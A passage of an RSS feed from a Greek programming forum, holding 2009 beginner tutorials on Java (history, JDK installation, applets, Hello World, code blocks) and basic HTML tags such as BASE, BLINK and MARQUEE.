		<title>ΑΓΚΙΣΤΡΑ ΚΑΙ ΜΠΛΟΚ (BRACES AND BLOCKS)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=925</link>
		<description><![CDATA[<div align='center'>Ας εξετάσουμε το πρόγραμμα Hello World λίγο πιο αναλυτικά. Στη Java το αρχείο πηγαίου κώδικα σπάει σε κομμάτια που χωρίζονται μεταξύ τους με παρενθέσεις, αγκύλες και άγκιστρα. Ό,τι υπάρχει μεταξύ { και } είναι ένα μπλοκ και υπάρχει λίγο ή πολύ ανεξάρτητα από οτιδήποτε άλλο έξω από τα άγκιστρα.<br /></div><br /><div align='center'>Τα blocks έχουν μεγάλη συντακτική και λογική σημασία. Χωρίς τα άγκιστρα ο κώδικας δεν θα μπορούσε να συνταχθεί. Ο compiler θα δυσκολευόταν να ξεχωρίσει το τέλος της μιας μεθόδου και την αρχή της επόμενης. Παράλληλα θα ήταν πολύ δύσκολο για κάποιον που διάβαζε τον κώδικά σας να καταλάβει τι συμβαίνει ή ακόμα θα ήταν δύσκολο και για εσάς τους ίδιους. Τα άγκιστρα χρησιμοποιούνται για να ομαδοποιούν τις σχετιζόμενες δηλώσεις. Γενικότερα, ό,τι βρίσκεται μεταξύ αγκίστρων εκτελείται σαν μία δήλωση. Τα blocks μπορεί να είναι ιεραρχικά. Ένα block μπορεί να περιέχει ένα ή περισσότερα θυγατρικά blocks. Σ’ αυτήν την περίπτωση έχουμε ένα εξωτερικό block που προσδιορίζει το ΗelloWorld class. Ανάμεσα στο ΗelloWorld block έχουμε ένα block μεθόδου που λέγεται «main».<br /><br /></div>]]></description>
		<pubDate>Mon, 15 Jun 2009 21:09:14 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=925</guid>
	</item>
	<item>
		<title>ΚΕΦΑΛΑΙΟ 2. Σύνταξη</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=924</link>
		<description><![CDATA[<b><u><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Η ΕΦΑΡΜΟΓΗ HELLO WORLD<!--sizec--></span><!--/sizec--></u></b><br /><br /><br />Από την πρώτη έκδοση των Kernighan και Ritchie «The C Programming Language» είναι πια συνηθισμένο να ξεκινούν τα εγχειρίδια προγραμματισμού με το πρόγραμμα «Hello World», ένα πρόγραμμα που τυπώνει στη οθόνη το αλφαριθμητικό «Hello World». Θα ξεκινήσουμε επηρεασμένοι από τους Kernighan και Ritchie με τον ίδιο τρόπο, χωρίς να διαφοροποιηθούμε από την παράδοση.<br /><br />Ακολουθεί η εφαρμογή «Hello World» γραμμένη σε Java. Πληκτρολογείστε το σε ένα αρχείο κειμένου ή αντιγράψτε το από το web browser και σώστε το σ’ ένα αρχείο με το όνομα HelloWorld.java.<br /><br /><br />class HelloWorld {<br /><br />  public static void main (String args[]) {<br /><br />       System.out.println("Hello World!");<br /><br />  }<br />  <br />}<br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Για να μεταγλωτίσετε αυτό το πρόγραμμα, σιγουρευτείτε ότι είστε στο ίδιο directory με το HelloWorld.java και πληκτρολογείστε javac HelloWorld.java στο command prompt. Το Hello World είναι ίσως το πιο απλό πρόγραμμα που μπορεί κανείς να φανταστεί. Παρόλο που δε διδάσκει πολλά από προγραμματιστική άποψη, μας δίνει την ευκαιρία να μάθουμε τους μηχανισμούς για να γράφουμε και να μεταγλωτίσουμε κώδικα. Ακολουθούν μερικά από τα πιο συνηθισμένα λάθη : <!--fontc--></span><!--/fontc--> <br /><br /><!--coloro:#ff0000--><span style="color:#ff0000"><!--/coloro--><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->1.<!--fontc--></span><!--/fontc--><!--colorc--></span><!--/colorc--><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto--> Τοποθετήσατε ; μετά το System.out.println("Hello World");<!--fontc--></span><!--/fontc--> <!--coloro:#ff0000--><span style="color:#ff0000"><!--/coloro--><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->2.<!--fontc--></span><!--/fontc--><!--colorc--></span><!--/colorc--><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto--> Συμπεριλάβατε την παρένθεση;<!--fontc--></span><!--/fontc--> <!--coloro:#ff0000--><span style="color:#ff0000"><!--/coloro--><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->3.<!--fontc--></span><!--/fontc--><!--colorc--></span><!--/colorc--><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto--> Πληκτρολογήσατε ό,τι βλέπετε με ακρίβεια; Ειδικότερα τηρήσατε με ακρίβεια τα κεφαλαία και τα μικρά γράμματα; Η Java είναι ευαίσθητη. Για παράδειγμα δεν είναι το ίδιο class και Class. <!--fontc--></span><!--/fontc--> <!--coloro:#ff0000--><span style="color:#ff0000"><!--/coloro--><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->4.<!--fontc--></span><!--/fontc--><!--colorc--></span><!--/colorc--><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto--> Βρισκόσασταν στο ίδιο directory HelloWorld.java όταν πληκτρολογήσατε το javac HelloWorld.java;<!--fontc--></span><!--/fontc-->  <!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Όταν το πρόγραμμα μεταγλωτιστεί επιτυχώς, ο compiler τοποθετεί την εκτελούμενη έξοδο σε ένα αρχείο που ονομάζεται HelloWorld.class στο ίδιο directory. Έτσι εσείς μπορείτε να τρέχετε το πρόγραμμα πληκτρολογώντας java HelloWorld στο command prompt. Όπως πιθανόν να μαντέψατε το πρόγραμμα ανταποκρίνεται τυπώνοντας «Hello World!» στην οθόνη. Συγχαρητήρια! Μόλις γραψατε το πρώτο σας πρόγραμμα σε Java.<!--fontc--></span><!--/fontc--><br /><br /> <br /><br /><u><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->ΕΞΕΤΑΖΟΝΤΑΣ ΤΟ HELLO WORLD<!--sizec--></span><!--/sizec--><br /><br /></b></u>Το <!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Hello World<!--fontc--></span><!--/fontc--> είναι ίσως το πιο απλό πρόγραμμα που μπορεί κανείς να φανταστεί. Παρόλ’ αυτά μας ενδιαφέρει για πολλούς λόγους. Ας το εξετάσουμε γραμμή προς γραμμή. <br /><br />Η αρχική δήλωση class μπορεί να θεωρείται ότι προσδιορίζει το όνομα του προγράμματος, στη συγκεκριμένη περίπτωση Hello World. O compiler στην πραγματικότητα παίρνει το όνομα από τη δήλωση class HelloWorld στο αρχείο πηγαίου κώδικα. Αν υπάρχουν παραπάνω από μία κλάση σε ένα αρχείο, τότε ο compiler της Java θα αποθηκεύσει το καθένα σ’ ένα ξεχωριστό .class αρχείο. Για λόγους που θα δούμε παρακάτω είναι συνετό να δίνουμε στο αρχείο του πηγαίου κώδικα το ίδιο όνομα με τη main class στο αρχείο συν την κατάληξη .java.<br /><br />To Hello World class περιλαμβάνει μία μέθοδο, τη main. Όπως και στη C, η μέθοδος main μας δείχνει από που ξεκινά να εκτελείται μία εφαρμογή. Η μέθοδος δηλώνεται δημόσια (public), δηλαδή μπορούν να την καλέσουν από παντού. Δηλώνεται στατική (static), δηλαδή όλα τα παραδείγματα της κλάσης μοιράζονται την ίδια μέθοδο. Δηλώνεται κενή (void), που σημαίνει ότι αυτή η μέθοδος δεν επιστρέφει τιμή, όπως και στη C.<br /><br />Όταν καλείται η μέθοδος main, τυπώνει το «Hello World!» στην έξοδο. Αυτό επιτυγχάνεται με μέθοδο system.out.println. Για να είμαστε πιο ακριβείς, αυτό επιτυγχάνεται φωνάζοντας την println() του πεδίου out που ανήκει στην κλάση System. Αλλά για την ώρα θα την θεωρούμε σαν μία μέθοδο.<br /><br />Μια τελευταία σημείωση. Αντίθετα με την printf στη C, η μέθοδος System.out.println προσθέτει μια καινούρια γραμμή στο τέλος της εξόδου. Έτσι δεν είναι ανάγκη να συμπεριλάβουμε το &#092;n στο τέλος κάθε αλφαριθμητικού.<br /><br /> <br /><br /><b><u>ΑΣΚΗΣΕΙΣ</u></b><br /><br /><br />1. Τι συμβαίνει αν αλλάξουμε το όνομα στο αρχείο του πηγαίου κώδικα π.χ HelloEarth.java αντί για ΗelloWorld.java;<br /><br /><br />2. Τι συμβαίνει αν διατηρήσουμε το όνομα του αρχείου πηγαίου κώδικα (HelloWorld.java), αλλά αλλάξουμε το όνομα της κλάσης π.χ class HelloEarth;]]></description>
		<pubDate>Mon, 15 Jun 2009 21:07:54 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=924</guid>
	</item>
	<item>
		<title>ΤΡΕΧΟΝΤΑΣ ΤΗΝ ΠΡΩΤΗ ΣΑΣ ΜΙΝΙ ΕΦΑΡΜΟΓΗ ( APPLET )</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=923</link>
		<description><![CDATA[<u><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Oδηγίες στο Unix<!--sizec--></span><!--/sizec--></b></u><br /><br /><br />Ξεκινήστε τον Applet Viewer κάνοντας τα ακόλουθα:<br /><br /><b>1.</b> Ανοίξτε ένα command line prompt και cd σε ένα από τα directories στο /usr/local/java/demo. Για παράδειγμα<br /><br />% cd /usr/local/java/demo/TicTacToe<br /><br /><b>2.</b> Tρέξτε τον appletviewer στο αρχείο html:<br /><br />% appletviewer example1.html<br /><br /><b>3.</b> Παίξτε Tic-Tac-Toe! <br /><br /> <br /><br /><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo--><u><b>Οδηγίες στα Windows</b></u><!--sizec--></span><!--/sizec--><br /><br />Ξεκινήστε τον Applet Viewer κάνοντας τα ακόλουθα:<br /><br /><br /><b>1.</b> Ανοίξτε ένα παράθυρο DOS και cd σε ένα από τα directories στο C:&#092;JAVA&#092;DEMO. Για παράδειγμα<br /><br />C:&gt; cd C:&#092;JAVA&#092;DEMO&#092;TicTacToe<br /><br /><b>2. </b>Τρέξτε τον appletviewer στο αρχείο html:<br /><br />C:&gt; appletviewer example1.htm<br /><b><br />3.</b> Παίξτε Tic-Tac-Toe! <br /><br /> <br /><br /><b><u><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Applets στο Netscape<!--sizec--></span><!--/sizec--></u></b><br /><br />Ο Netscape 3.0 και οι μεταγενέστεροι θα τρέξουν τις μίνι εφαρμογές της Java σχεδόν παντού εκτός από τα Windows 3.1. Ο Netscape έχει μία σελίδα, την JAVA DEMO PAGE, με συνδέσεις σε διάφορες εφαρμογές, από τις οποίες οι περισσότερες τρέχουν. Παρόλ’ αυτά μην ξαφνιαστείτε αν κάποια εφαρμογή δεν δουλέψει κανονικά στον Netscape.]]></description>
		<pubDate>Mon, 15 Jun 2009 21:04:11 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=923</guid>
	</item>
	<item>
		<title>ΕΓΚΑΘΙΣΤΩΝΤΑΣ ΤΗ JAVA</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=922</link>
		<description><![CDATA[Εκδόσεις της Java σε διαφορετικά στάδια ολοκλήρωσης διατίθενται από τη Sun for Windows 95 και Windows NT for X86, Unix και MacOS 7.5. Μέχρι στιγμής δεν υπάρχουν εκδόσεις της Java για τα MIPS, Alpha or PowerPC based NT, Windows 3.1, Amiga.<br />Το βασικό περιβάλλον της Java αποτελείται από έναν web browser, ο οποίος μπορεί να εκτελεί τις μίνι εφαρμογές της Java, έναν compiler που μετατρέπει τον πηγαίο κώδικα της Java σε κώδικα byte, κι έναν μεταφραστή της Java για να εκτελεί τα προγράμματα. Αυτά είναι τα τρία συστατικά-κλειδιά ενός περιβάλλοντος Java. Επίσης απαραίτητος είναι ένας <b>text edito</b>r όπως το <b>Brief</b> ή το <b>BBEdit</b>.<br /><br />Η Sun διαθέτει το Java Developers Kit (JDK). Περιέχει έναν applet viewer όπου θα μπορείτε να δείτε και να ελέγξετε τις εφαρμογές σας. Το JDK περιλαμβάνει επίσης τον javac compiler, τον java interpreter, τον javaprof profiler, τον Java debugger και περιορισμένα κείμενα. Τα περισσότερα από τα κείμενα για το API και τη βιβλιοθήκη κλάσης είναι στο web site της Sun.<br /><br />Μπορείτε να βρείτε τα προγράμματα στα ακόλουθα sites:<br />USA <br /><a href="ftp://ftp.javasoft.com/pub/%20" target="_blank">ftp://ftp.javasoft.com/pub/ </a><br /><a href="ftp://www.blackdown.org/pub/Java/pub/%20" target="_blank">ftp://www.blackdown.org/pub/Java/pub/ </a><br /><a href="ftp://ftp.science.wayne.edu/pub/java/%20" target="_blank">ftp://ftp.science.wayne.edu/pub/java/ </a><a href="ftp://ftp.science.wayne.edu/pub/java/%20" target="_blank"><br /><a href="ftp://metalab.unc.edu/pub/languages/java/ " target="_blank">ftp://metalab.unc.edu/pub/languages/java/ </a></a><br /><a href="ftp://java.dnx.com/pub/JDK-beta-win32-x86.exe%20" target="_blank">ftp://java.dnx.com/pub/JDK-beta-win32-x86.exe </a><br />Germany: <a href="ftp://sunsite.informatik.rwth-aachen.de/pub/mirror/java.sun.com/%20" target="_blank">ftp://sunsite.informatik.rwth-aachen.de/p.../java.sun.com/ </a><br />Korea: <a href="ftp://ftp.kaist.ac.kr/pub/java/%20" target="_blank">ftp://ftp.kaist.ac.kr/pub/java/ </a><br />China: <a href="ftp://math01.math.ac.cn/pub/sunsite/%20" target="_blank">ftp://math01.math.ac.cn/pub/sunsite/ </a><br />Japan: <a href="ftp://ftp.glocom.ac.jp/mirror/java.sun.com/%20" target="_blank">ftp://ftp.glocom.ac.jp/mirror/java.sun.com/ </a><br />Sweden: <a href="ftp://ftp.luth.se/pub/infosystems/www/hotjava/pub/%20" target="_blank">ftp://ftp.luth.se/pub/infosystems/www/hotjava/pub/ </a><br />Singapore: <a href="ftp://ftp.iss.nus.sg/pub/java/%20" target="_blank">ftp://ftp.iss.nus.sg/pub/java/ </a><br />United Kingdom: <a href="ftp://sunsite.doc.ic.ac.uk/packages/java/%20" target="_blank">ftp://sunsite.doc.ic.ac.uk/packages/java/ </a><br /><br /> <br /><br /><b><u>ΟΔΗΓΙΕΣ ΕΓΚΑΤΑΣΤΑΣΗΣ ΣΕ WINDOWS</u></b><br /><br />Θα χρειαστείτε περίπου 6 ΜΒ ελεύθερα στο δίσκο για την εγκατάσταση του JDK. Εκτελέστε το αρχείο κάνοντας διπλό κλικ πάνω του στο File Manager ή επιλέγοντας Run... από το Program Manager’s File menu και πληκτρολογώντας το μονοπάτι στο αρχείο. Προτείνουμε να το εγκαταστήσετε στο C:drive. Σ’ αυτήν την περίπτωση τα αρχεία θα βρίσκονται στο C:&#092;java. Θα πρέπει να προσθέσετε το C:&#092;java&#092;bin directory στο path environment.<br /><br />Η αρχειοθέτηση περιλαμβάνει δύο κοινά DLL’s:<br /><br /><br /><b>MSVCRT20.DLL<br />MFC30.DLL</b><br /><br />Αυτά τα 2 αρχεία θα εγκατασταθούν στο java directory. Αν δεν έχετε ήδη αντίγραφα αυτών στο σύστημά σας, αντιγράψτε τα στο C:&#092;java&#092;bin directory. Αν τα έχετε απλά διαγράψτε τα επιπλέον αντίγραφα.<br /><br /><br /><br />]]></description>
		<pubDate>Mon, 15 Jun 2009 21:02:27 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=922</guid>
	</item>
	<item>
		<title>ΚΕΦΑΛΑΙΟ 1. Τι κάνει τη Java να ξεχωρίζει;</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=921</link>
		<description><![CDATA[<!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Η Java προκάλεσε ίσως το μεγαλύτερο ενδιαφέρον σε σύγκριση με οποιαδήποτε άλλη εξέλιξη στον κόσμο του Internet. Όλοι μιλούν γι’ αυτήν. Όλοι έχουν ενθουσιαστεί με τη Java για τις δυνατότητες που προσφέρει. Είναι η πρώτη που κατάφερε να συμπεριλάβει ήχο και κίνηση σε μια ιστοσελίδα. H Java επιπλέον επιτρέπει στους χρήστες να αλληλεπιδρούν (interact) με την ιστοσελίδα. Εκτός από το να διαβάζει απλά και ίσως να συμπληρώνει μία φόρμα, ο χρήστης μπορεί τώρα να παίξει παιχνίδια, να συνομιλήσει, να λαμβάνει συνεχώς τις πιο πρόσφατες πληροφορίες και πολλά άλλα. <!--fontc--></span><!--/fontc--><br /><br /> <b><!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Ακολουθούν μερικές από τις πολλές δυνατότητες της Java: <!--fontc--></span><!--/fontc--> <!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Ήχος ο οποίος εκτελείται όποτε ο χρήστης φορτώνει μία σελίδα<!--fontc--></span><!--/fontc--> <!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Μουσική που παίζει στο background μιας σελίδας<!--fontc--></span><!--/fontc--> <!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Δημιουργία κινουμένων σχεδίων<!--fontc--></span><!--/fontc--> <!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Βίντεο<!--fontc--></span><!--/fontc--> <!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Παιχνίδια με πολυμέσα<!--fontc--></span><!--/fontc--></b><br /><br /><!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Η Java δεν είναι απλά μια γλώσσα προγραμματισμού του δικτύου με ειδικά χαρακτηριστικά. Παρόλο που η HotJava ήταν η πρώτη γλώσσα που συμπεριέλαβε ήχο και κίνηση, ο Microsoft Internet Explorer 2.0 και ο Netscape Navigator 2.0 υποστηρίζουν αυτά τα χαρακτηριστικά με πολλούς και διαφορετικούς τρόπους. Τι κάνει τη Java να ξεχωρίζει; Η Java είναι μια γλώσσα προγραμματισμού για ποικίλες εφαρμογές. Δεν προσφέρει απλά τη δυνατότητα να προσθέσει ο χρήστης νέο περιεχόμενο στις σελίδες του (όπως συμβαίνει στο Netscape και στον Internet Explorer) αλλά επιτρέπει να προσθέσουμε και τον κώδικα που είναι απαραίτητος. Δεν χρειάζεται πλέον να περιμένετε για να κυκλοφορήσει ο browser που θα υποστηρίξει τον συγκεκριμένο τύπο εικόνας ή το ειδικό πρωτόκολλο παιχνιδιού (special game protocol). Με τη Java εσείς στέλνετε στους browsers το περιεχόμενο που χρειάζεται και το πρόγραμμα για να δείτε αυτό το περιεχόμενο την ίδια στιγμή.<!--fontc--></span><!--/fontc-->  <!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Ας δούμε τι σημαίνει αυτό. Μέχρι τώρα έπρεπε να περιμένετε τους αναγνώστες σας να ενημερώσουν τους browsers τους προτού χρησιμοποιήσετε ένα νέο τύπο περιεχομένου (content type). Η ανταγωνιστικότητα της Java βρίσκεται στο ότι μπορεί να εφαρμοστεί σε οποιονδήποτε browser.<!--fontc--></span><!--/fontc-->  <!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Για παράδειγμα, θέλετε να χρησιμοποιήσετε τα αρχεία EPS στο site σας. Προηγουμένως, έπρεπε να περιμένετε μέχρι ένας τουλάχιστον web browser να εφάρμοζε την υποστήριξη EPS. Τώρα πια δεν περιμένετε. Αντίθετα, μπορείτε να γράψετε τον δικό σας κώδικα για να δείτε τα αρχεία EPS και να το στείλετε σε οποιονδήποτε πελάτη ζητά τη σελίδα σας τον ίδιο χρόνο που ζητά το αρχείο EPS.<!--fontc--></span><!--/fontc-->  <!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Υποθέστε ότι θέλετε άτομα που να μπορούν να ψάχνουν τον ηλεκτρονικό σας κατάλογο (electronic card catalog). Η βάση δεδομένων του καταλόγου όμως υπάρχει σ’ ένα μεγάλο σύστημα που δεν αναγνωρίζει την HTTP. Πριν τη Java θα μπορούσατε να ελπίζετε ότι κάποιος browser θα εφάρμοζε το πρωτόκολλο της κάρτας ή θα μπορούσατε να προσπαθήσετε να προγραμματίσετε κάποιο ενδιάμεσο cgi-bin σε ένα UNIX BOX που θα αναγνώριζε HTTP, πράγμα που δεν είναι καθόλου εύκολο. Με τη Java, όταν ένας πελάτης θέλει να μιλήσει στον κατάλογό σας μπορείτε να του στείλετε τον κώδικα που χρειάζεται.<!--fontc--></span><!--/fontc-->  <!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Η Java δεν είναι γλώσσα μόνο για τα web sites. Η Java είναι μια γλώσσα προγραμματισμού που μας επιτρέπει να κάνουμε ό,τι και οι παραδοσιακές γλώσσες, όπως η Fortran και η C++. Είναι σαφώς πιο καθαρή και πιο εύκολη όμως στη χρήση από αυτές. Σαν γλώσσα η Java είναι:<!--fontc--></span><!--/fontc--><br /><br /><br /><br /> <b><!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Απλή (Simple)<!--fontc--></span><!--/fontc--> <!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Αντικειμενοστραφής, δηλαδή τα πάντα στη Java είναι είτε κλάση, είτε μέθοδος ή αντικείμενο<!--fontc--></span><!--/fontc--> <!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Ανεξάρτητη από το σύστημα, δηλαδή τα προγράμματα σε Java μπορούν να διαβαστούν και να τρέξουν από μεταγλωττιστές σε διάφορες πλατφόρμες όπως Windows 95, Windows NT και Solaris 2.3<!--fontc--></span><!--/fontc--> <!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Ασφαλής <!--fontc--></span><!--/fontc--> <!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto-->Πολυνηματική, δηλαδή ένα απλό πρόγραμμα σε Java μπορεί να κάνει πολλά, διαφορετικά προγράμματα ανεξάρτητα και αλληλεπιδρώντα.<!--fontc--></span><!--/fontc--><br /></b>]]></description>
		<pubDate>Mon, 15 Jun 2009 20:58:56 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=921</guid>
	</item>
	<item>
		<title>Visual Basic 6 Tutorial</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=891</link>
		<description><![CDATA[κατεβαστε το..ενα ωραιο tutorial για την Visual basic 6 ..<br /><br /><br />]]></description>
		<pubDate>Tue, 09 Jun 2009 02:43:40 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=891</guid>
	</item>
	<item>
		<title>Τι είναι τα Stylesheets</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=879</link>
		<description><![CDATA[<div align='center'><b>Τα Cascading Stylesheets (για συντομία, CSS) εμφανίστηκαν για πρώτη φορά το 1996. Αποτελούν μια ειδική διάλεκτο της γλώσσας HTML και μας επιτρέπουν να ορίσουμε με μεγαλύτερη ακρίβεια τον τρόπο απεικόνισης των σελίδων μας από τον browser.</b><br /><br /></div><div align='center'><ul><li><a href="http://hackeruniversity.gr/forum/index.php?showtopic=880" target="_blank">Κατασκευή μιας απλής σελίδας με style sheets </a></li></ul><ul><li><a href="http://hackeruniversity.gr/forum/index.php?showtopic=881" target="_blank">Τρόποι ορισμού των style sheets</a></li></ul></div>]]></description>
		<pubDate>Tue, 09 Jun 2009 02:07:51 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=879</guid>
	</item>
	<item>
		<title><![CDATA[Πώς λειτουργούν οι παραπομπές μιας αρχικής σελίδας που βρίσκεται στον σκληρό δίσκο (ή δισκέτα) του χρήστη &lt;BASE&gt;]]></title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=875</link>
		<description><![CDATA[Ας υποθέσουμε πως έχουμε ένα μεγάλο site με πολλές σελίδες. Ο πίνακας περιεχομένων του (που για το εδώ παράδειγμα υποθέτουμε πως βρίσκεται στην διεύθυνση www.myhost.com/index.htm) θα είναι φυσικά πολύ χρήσιμος για κάποιον που το επισκέπτεται συχνά. Αν όμως τον αποθηκεύσει στον δικό του δίσκο (για να μην τον φορτώνει πάλι από την αρχή κάθε φορά που τον χρειάζεται), ο πίνακας θα πάψει να λειτουργεί. Θα θέλει την σελίδα που βρίσκεται στο www.myhost.com/resources/links.htm αλλά αν ο κατασκευαστής της σελίδας έχει ορίσει σχετικές παραπομπές (relative links), ο browser θα ψάχνει το /resources/links.htm στον δικό του δίσκο και φυσικά δεν θα το βρίσκει. <br />Για να βοηθήσουμε τους επισκέπτες που θέλουν να κάνουν κάτι τέτοιο χρησιμοποιούμε την οδηγία &lt;BASE&gt;. Μας επιτρέπει να ορίσουμε το βασικό URL της σελίδας, που θα χρησιμοποιηθεί σαν βάση σε περίπτωση που μια web σελίδα διαβάζεται από άλλο χώρο (local file ή mirror site) και θέλουμε να εξακολουθούν να λειτουργούν οι σχετικές παραπομπές (relative links). Όπου δεν ορίζεται η παράμετρος BASE ο browser χρησιμοποιεί στην θέση του BASE το URL που μόλις ζήτησε. <br /><br />Η σύνταξη της BASE είναι &lt;BASE HREF="http://www.myhost.com/"&gt; και βρίσκεται μέσα στην οδηγία HEAD]]></description>
		<pubDate>Tue, 09 Jun 2009 01:57:57 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=875</guid>
	</item>
	<item>
		<title>Πώς κάνουμε ένα μέρος της σελίδας (κείμενο και εικόνες) να αναβοσβήνει</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=874</link>
		<description><![CDATA[Για να επιτύχουμε αυτό το αποτέλεσμα χρησιμοποιούμε την οδηγία &lt;BLINK&gt;...&lt;/BLINK&gt; που όμως λειτουργεί μόνο με το Netscape (ο Explorer την αγνοεί). <br />Μερικές φορές είναι επικίνδυνο να έχουμε ένα τμήμα της σελίδας να αναβοσβήνει διότι τραβάει την προσοχή του επισκέπτη επάνω του και τον κάνει ν' αγνοεί την υπόλοιπη σελίδα. Γι' αυτό σας συνιστούμε να την χρησιμοποιείτε με μέτρο. <br /><u><b><br />Σημείωση:</b></u> Επειδή έχω λάβει πολλές ερωτήσεις γι' αυτό, σας ενημερώνω προκαταβολικά πως δεν μπορείτε να καθορίσετε τον ρυθμό με τον οποίο αναβοσβήνει το περιεχόμενο της blink. Το καθορίζει μόνο του το Netscape ανάλογα με το πόσο μεγάλο είναι αυτό που του ζητήσαμε να αναβοσβήσει. &#65279;]]></description>
		<pubDate>Tue, 09 Jun 2009 01:57:25 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=874</guid>
	</item>
	<item>
		<title>Πώς κάνουμε μια γραμμή κειμένου να σκρολάρει</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=873</link>
		<description><![CDATA[Για να επιτύχουμε αυτό το αποτέλεσμα χρησιμοποιούμε την οδηγία &lt;MARQUEE&gt;...&lt;/MARQUEE&gt; που όμως λειτουργεί μόνο με τον Explorer (το Netscape την αγνοεί). <br />Μερικές φορές είναι επικίνδυνο να έχουμε ένα τμήμα της σελίδας να κινείται με τέτοιο τρόπο διότι τραβάει την προσοχή του επισκέπτη επάνω του και τον κάνει ν' αγνοεί την υπόλοιπη σελίδα. Γι' αυτό σας συνιστούμε να την χρησιμοποιείτε με μέτρο. <br /><br />Σημείωση: Επειδή έχω λάβει πολλές ερωτήσεις γι' αυτό, σας ενημερώνω πως για να καθορίσετε την ταχύτητα με την οποία κινείται το κείμενο θα χρησιμοποιήσετε την παράμετρο SCROLLDELAY. Η σύνταξη είναι: &lt;MARQUEE SCROLLDELAY = iDelay&gt; όπου iDelay είναι ο αριθμός των milliseconds που θα περνούν από τη στιγμή που εμφανίζεται το ένα γράμμα, μέχρι την ώρα που θα εμφανιστεί το επόμενο (το default είναι 85 και το νούμερο που θα ορίσετε θα πρέπει να είναι ακέραιος αριθμός). &#65279; ]]></description>
		<pubDate>Tue, 09 Jun 2009 01:56:59 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=873</guid>
	</item>
	<item>
		<title>Πώς προσθέτουμε σχόλια στον κώδικα μιας σελίδας</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=872</link>
		<description><![CDATA[Ένα βασικό χαρακτηριστικό των browsers είναι να αγνοούν τις οδηγίες που δεν καταλαβαίνουν. Όταν ένα πρόγραμμα συναντάει μια εντολή που δεν καταλαβαίνει εμφανίζει ένα μήνυμα λάθους και συνήθως σταματάει να λειτουργεί. Οι browers όμως, για λόγους συμβατότητας προς τα πίσω, αγνοούν τις οδηγίες που δεν καταλαβαίνουν (π.χ. οδηγίες που δημιουργήθηκαν μετά την έκδοση του browser που χρησιμοποιεί ο χρήστης) αλλά εμφανίζουν κανονικά όσες γνωρίζουν. <br />Αυτό φυσικά παρουσιάζει ένα πρόβλημα για τους κατασκευαστές σελίδων μια και, αντίθετα με τις γλώσσες προγραμματισμού, ο browser ποτέ δεν θα μας πει: "Υπάρχει πρόβλημα στη γραμμή τάδε". Έχει όμως το πλεονέκτημα να μην αποκλείει όσους έχουν παλαιούς browsers από τις σελίδες μας. <br /><br />Πολλές φορές, έχουμε την ανάγκη να βάλουμε κάπου μέσα στη σελίδα μια παρατήρηση ή κάποιο σχόλιο μόνο για μας 